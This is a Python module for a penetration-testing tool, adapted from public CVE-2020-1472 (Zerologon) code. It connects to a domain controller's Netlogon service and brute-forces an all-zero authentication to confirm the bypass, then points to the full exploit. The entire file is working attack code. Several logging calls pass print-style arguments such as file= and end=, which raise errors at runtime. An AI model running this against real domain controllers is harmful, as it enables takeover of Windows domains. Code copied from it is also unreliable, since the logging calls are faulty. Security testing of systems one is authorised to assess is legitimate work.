#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# everything is comming from https://github.com/dirkjanm/CVE-2020-1472
# credit to @dirkjanm
# module by : @mpgn_x64

import sys
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto
import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call
import logging

# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%


class CMEModule:

    name = 'zerologon'
    description = "Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472"
    supported_protocols = ['smb']
    opsec_safe = True
    multiple_hosts = False

    def options(self, context, module_options):
        '''
            NOP            No options
        '''

    def on_login(self, context, connection):
        if perform_attack('\\\\' + connection.hostname, connection.host, connection.hostname):
            context.log.highlight("VULNERABLE")
            context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
            try:
                host = context.db.get_computers(connection.host)[0]
                context.db.add_computer(host.ip, host.hostname, host.domain, host.os, host.smbv1, host.signing, zerologon=True)
            except Exception as e:
                logging.debug(f"Error updating zerologon status in database")


def fail(msg):
    logging.debug(msg, file=sys.stderr)
    logging.debug('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
    sys.exit(2)


def try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer):
    # Connect to the DC's Netlogon service.


    # Use an all-zero challenge and credential.
    plaintext = b'\x00' * 8
    ciphertext = b'\x00' * 8

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
    flags = 0x212fffff

    # Send challenge and authentication request.
    nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
            target_computer + '\x00', ciphertext, flags
        )


        # It worked!
        assert server_auth['ErrorCode'] == 0
        return True

    except nrpc.DCERPCSessionError as ex:
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
    except BaseException as ex:
        fail(f'Unexpected error: {ex}.')


def perform_attack(dc_handle, dc_ip, target_computer):
    # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
    logging.debug('Performing authentication attempts...')
    rpc_con = None
    binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
    for attempt in range(0, MAX_ATTEMPTS):
        result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)

        if result is None:
            logging.debug('=', end='', flush=True)
        else:
            break
    if result:
        return True
    else:
        logging.debug('\nAttack failed. Target is probably patched.')